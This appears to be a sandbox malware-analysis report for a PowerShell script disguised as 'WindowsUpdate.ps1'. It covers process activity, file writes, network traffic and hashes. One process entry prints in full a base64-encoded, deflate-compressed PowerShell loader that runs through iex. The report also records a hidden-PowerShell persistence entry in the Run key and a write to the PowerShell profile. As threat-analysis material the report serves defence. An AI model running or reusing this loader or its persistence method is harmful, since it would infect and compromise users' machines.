| File name: | WindowsUpdate.ps1 |
| Full analysis: | https://app.any.run/tasks/46f2128a-4b53-420f-8947-5a7a3f97262c |
| Verdict: | Malicious activity |
| Analysis date: | May 18, 2025, 09:34:08 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | Unicode text, UTF-16, little-endian text, with very long lines (4729), with CRLF line terminators |
| MD5: | 11159D6A99B66A8F158F7410350CA727 |
| SHA1: | EFBFFC809D1645BC196231951AA1E7F695180CD3 |
| SHA256: | 7C846629E0C60135165A240803E8DF5A9E5D4A8588B903D431D07E7A63C508B3 |
| SSDEEP: | 192:BJEaBB8CMPVQwdja9Pfx6ShbaHAIUtb1LjtsBJ5WzeBydapie2ISrt:BFBB8NRa9PgShbaHHUtbJeP5WzEydapG |
| .txt | | | Text - UTF-16 (LE) encoded (66.6) |
|---|---|---|
| .mp3 | | | MP3 audio (33.3) |
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 6988 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7316 | "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file C:\Users\admin\AppData\Local\Temp\WindowsUpdate.ps1.mp3 | C:\Program Files\VideoLAN\VLC\vlc.exe | — | explorer.exe | |||||||||||
User: admin Company: VideoLAN Integrity Level: MEDIUM Description: VLC media player Version: 3.0.11 Modules
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| 7464 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Exit code: 0 Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
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| 7496 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | SppExtComObj.Exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7868 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass "C:\Users\admin\Desktop\WindowsUpdate.ps1" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7876 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 8080 | "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAcABWAFYAYgBiADkAcABJAEYASAA3AG4AVgA0AHcAUQBrAHEARQBzAGgARQB1AEMAYQBCAEQAUwBBAGoARwB4AGsAMgBBAE0ATgByAGUARQBLAEUAegBzAEEAZAB6AFkATQArADUANABEAEQAZwBwAC8AMwAyAFAATQBhAFIAdABXAG4AVwBsADMAUgBkADcAegBtAFgATwA1AFQAdQBYAFMAUwAxAEQAYQBnAG0ASABVAFQAVAB5AGIAUwB4AEkAWQBlAEoAUQBtADIAMgBEAHQANQBTAE8ATwBmAGEAeQBEADgAYgBXAEUAZABiADYATQBhAE0AVABIAGoAaQBCAHkASwBVAHkATQB1AGUATQB0AHcANgBYAGQARQA2AFcAaABCAE4AcQBrAGEAWgBrAE8AQwA2AGgAdwBvADAANgBqAEEAcQBIAGgAawBSAEsAWgBRAHkATABPADcANQBvAHYAZwBYAFkAUgBSAGgAcABaAEYAdgBvAFAAMwA4AGgAbABtAGcANABaAEoAZgBGAFMATwAwAFgARABjAEUASgA5AG8AWQBFADIANABSAG4ARQAxAGEASABlAFQANABuAFEAUQBEAG0AaQAxAGQAawA2AFUASgBRAGkAVgBiADIAQQBhAFEAOQA0AGoARQBlAEoAWQB6AEgAQgAvAEMAMQBJAFYAdwA4AFgAbAA1ADIATwBmAFAAYQBPAEMAQwAxAGMANQBBADUAZABKAFcAVgB6AE4AbgBuAHQAbABIAFgAVwByAEkANgAzAGEAeQBYAE4AVwBVADIAZgBuAG0ANQBtAGMAegBNADQAZABWAE8AdABuAGoAYgAyAGMANgAwADIAZABmAGIAaQBWAEsAUgBkAGMATQBNAHkAMAA3AGcAaQBzAHAATgBxAGQATABKAGEAMwBuAGIASAAxADcAVQByAHUAKwAvAFYATwAvADUAZQBWAFgAZABsAFUAWgBNAEMAWgBUAHoAbAAzAFUAcABFAHQAcgBJAEsAeQBuAGwAUwBiAGYAUABwAHoAYwBXAHMAVgBYADkAcQAzAEYAYgBhAGQAMwAzAHkANwBzAHAAOQBUADUAUAB5AHMAOQA5AGYATgBZAHIAVQAyAHQAZAB1ADkARQBIAFgAYgBkADMATgBxAEcAYQBNAHQAUwBDACsAdgBTAFYAegArAHIAcgAxAGwAbgAxAHQAcQByAFcAdQA3AEoASABLADUAMQBSAFMAZQB2ADMAdQA4ACsANwA3AFkAVgA1AFAAYgB5AHkASABlAEsAOQBuAEcAdABsAFcAWABiAHQAZQA3AFcAKwAwAG8AeQBCAHQAcAAxAE4AbQBNADEAbgByADIAMwA1AFcAagB2AGYAMABmAHAAVQBHAHgAbwAxAHAANwBTAFoAdgBvADUAdgBkAEwATwAxAEgAaQBqADUAKwAyAGMAegB1AE4AVgA4AC8ALwBWAHMAbwAwAFMAQwBEAFcAYQA3AFcAMAB1ADEAcwBhADUAVgBOAC8AZgA1AHAAZQAxAFAAMQB5ADIAbQBYAFAAVABYAGsAVABiAGwAbgBUAEcAdgA1AEwAOQB1AHgAMgBmAFIAagBiADIAaABuAGYAcwA2ADkAdgAyAEwAcgBVAHoAYQA5AGkAWgBjADcAbQBiAEwANQBhAEIAOQBsAFcAKwAxAG0AawAwAHAAOQA5AGYARABoADEATAA4AGMATwA0AHgAbQB3AEQAawBWADgAUQA2ADgAbgBLAGcAYgBwAEsAZABLAE0AcgBVAFkAagBhAGcARAA5AEsAVwAwAFYASABWAFgASwA0AFkAMQA5AFoAawBNAHIAVwB6AHUAWAAzAEsAVwBXAGIAZgBHACsAawB0AHAAcQBDAC8AaQBCAFYAeQBSADAAUgBGAEgAYwBwAG0ATwBUADUAMgBpADgAYwBXAGYARwBjADgALwBrAEYASgB0AGEASABwAFEAQQBJAGUAcgA0AG4AbwBoAEIAeQA2AFUAVwBUAEIAcgB4AHEAbwBkAE0AaABjADgAaQBjAFAANwBkAEIAeABSAGEATAAyAEsATABWAHMAegA2AEUAUQBHAE0AZQBDAGMAUwBtAFgAUwA3ADEAbABkAE0ANgBXAHoAWQB3ACsANwBIAGYAVgBPADcAbgBZAGMAdAAxAFIAQQBNAEgARABYADIARwBCAEMAQgBvAFoASABVAGMAdQB3ADMAWQB6AHYAYwBoADAAdwBSAEwAaABUAFkATwBJAHcAcwBSAHoAVgBCAG8ASQBEAEYATwBCAEMAaAAwAFgAQgB3AEYANgBlAHAASQAzAEUARgBlAGkAaABBAG8AYQA5AGsAagBnAFkANQBBAHYAMABwAHcAeABNAFEALwBDADUAKwBBAHcASwA0AEQAdQBJAG8AMABLAEwAYgA0AEsAUABiAGcAUQBvAEwALwBmAEsAQwBnADMAcABXAFEANgB1AGQAUQA0AEcASQBvAE4ARwBMAEcAQgBwAG4AUwA0ADMAMwBHADgAYwBVAFYAcQBEAEUATABDAG8AegB0AE0AVgB5AEYAZQBrAGUAWQBpAFAAUgBuAGMATABkAEkASgBGAHkAaABEAHYAcABNADcASgB2AHEARQB1AHMATgArAEQAMABJADYAQgBRAG4AbABkAEoAYQBPAGgAVwBQAG4AQgArAHQAbwBvAHAAcQBLAHEAcQBGAGEAQwBVADAAVQBlAFMAZwBqAEUALwBNAFYARQBlADkASgBxAFUAWQBMAFMAUQBCAGgAdABmAEoAMAB4AHkAegBzAG0AbwA1AEgASgBOAFQAUwByAGoANABvAEYAaABVAFcAYwB0AFIARQA1AFkAdgBmAEMAWAB1AHcASgBBAFEAQgBjAGEAbQBFAHIAbwBmADkAawBmADcAZAA3AFMASwA5AGIAeQB3AHkATQBOAHcAQgBvAFAAQQBiAFUAUAA4AFYAdgB3AFIAMQBDAFgAcgBXAHcAOQBTACsAYwB5AGcANQBKAEgAYQB5AEsAUAAyAE0ATQBQAG8AQQA4AFEALwBYAFQATwBMADUAOABRAFkAQwArAEIAYQBaADcAQwBJAGoAMAA4ADIAbABFAFEAVwBDAGUARQBQAHcAbQA1AHMAbgA1ADIAcABsAGYAdQBwAFoAdABpAFgAYwBXAEIAUABYAG4AVwAvAEsAeABkAEwAYwBqACsAawBnAHAAbwB0AGsARgAwAGYATwBxAEUAcgBCAEMAWQBiADEAdQBTAEYAUQBuAEcASAA0AEkAOABPAE4AbQB0AEkAUwB1AHcARwBSADkAbwAzAC8AbQB2AFgAVABVADkASgBtAEoAagB1AGwAMgA0AGIAWQBZAEMAaAAvAFQAdgByAFkAcwBLAGYATwBiAGIAeQBqAC8AUgAzADQAUABmAHEARwArAHEARQBvAGEASwBIAHIAcAB2AGMAcABBAG4ASAA5AE0AaABUAEgAaQBZAHMASAA0ADkAZQA1AGsATwBLAFYAcgB3AEoAQQBjAE0AZQBIAFAAUgAyAGgAZwBvADcARgBHAGkAbQAzAG4AZABHAGwAdwBaAFoAaQBpAHoAbQBaADkAeAB5AEwAcwB3AEMAbwBFADQAagB6AG8AOQBGAHgAdgBDAGsAWQBuAFEATgBHADgAeQBUADkANAB5AE0ARgBJADMAUwB5AGEARQBZACsAUQBjAG4ASwBSADQAVQB4AGQAawBPAEMAMABvAHQAMABKAHYAcwAvAEsAeABYAEQAKwBYAE8AdAAwAFAARgBsAE4ARQBUAGsARQBxAFEANABOAGkAeQBlAHQATABSAFAAZQBTACsAMgB3ADEASABXADgARgAxAEgASgBOAG4AQgBOADQANABlAEgAWgBEAEsAcABiAEkAcgA2ADMAaABFAGUAWgBTAFYAawBBAFEAVABXAEkATwBlAHoANgBQAGoAKwA1AGoANwBGAG8ATQBNAFoAUwBDAEoASABpAHAAMABXAFEAcABlAFMASABUAEMAOABkAHUAcABDAEsAawBKADcARABGAFMAQQBOAEkAUAB4AGIAdgA0AHYAVABLAEoAdQBhAEoASwBOACsAeQBGAHgATwB0ADIALwArAEYAUgBoADkAQwBTADUAWgB0AEsALwBRAE0APQAnACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| (PID) Process: | (8080) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | Updater |
Value: "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7868 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\R9QHX4GU5UZ8BY9FSM3F.temp | binary | |
MD5:ECB6193B848398763079E140AFC5C7C8 | SHA256:E84CBB2FC9BE4AFE75F8D6B2DA6EBC0D7B9FBE2620AC1F6234D04EEC53504C03 | |||
| 7868 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF110fcc.TMP | binary | |
MD5:D040F64E9E7A2BB91ABCA5613424598E | SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670 | |||
| 7316 | vlc.exe | C:\Users\admin\AppData\Roaming\vlc\vlc-qt-interface.ini.fn7316 | text | |
MD5:31E815A0DB3506CF757542A17871BECE | SHA256:359B55079DACA0F8AD59A1B4AF0B74A4349C8C4C77EE5E43E5484DCFBAFB70E5 | |||
| 7316 | vlc.exe | C:\Users\admin\AppData\Roaming\vlc\vlc-qt-interface.ini.lock | text | |
MD5:60DE9A675F58C5B773D3D1D8FC040A36 | SHA256:7E8ADBCD32AA529984787735090B0DBB200EEFCB6D41B8F4F5E214386E271001 | |||
| 7316 | vlc.exe | C:\Users\admin\AppData\Roaming\vlc\vlc-qt-interface.ini | text | |
MD5:31E815A0DB3506CF757542A17871BECE | SHA256:359B55079DACA0F8AD59A1B4AF0B74A4349C8C4C77EE5E43E5484DCFBAFB70E5 | |||
| 7868 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rgv254j1.yvs.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 8080 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_etakliyv.g0n.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 8080 | powershell.exe | C:\Users\admin\Documents\WindowsPowerShell\profile.ps1 | text | |
MD5:345616EB44754F1A9A4EDAF2D401FCFD | SHA256:A28C933DCB00FE8036D259E310B30647DA6416D6FA3BAE1CD418497671A15886 | |||
| 7868 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms | binary | |
MD5:ECB6193B848398763079E140AFC5C7C8 | SHA256:E84CBB2FC9BE4AFE75F8D6B2DA6EBC0D7B9FBE2620AC1F6234D04EEC53504C03 | |||
| 7868 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0v4udecv.0bl.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.216.77.22:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 23.216.77.22:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
8160 | SIHClient.exe | GET | 200 | 23.219.150.101:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
8160 | SIHClient.exe | GET | 200 | 23.219.150.101:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
2104 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.216.77.22:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
— | — | 23.216.77.22:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
5496 | MoUsoCoreWorker.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
— | — | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
6544 | svchost.exe | 20.190.159.129:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
6544 | svchost.exe | 2.17.190.73:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
nexusrules.officeapps.live.com |
| whitelisted |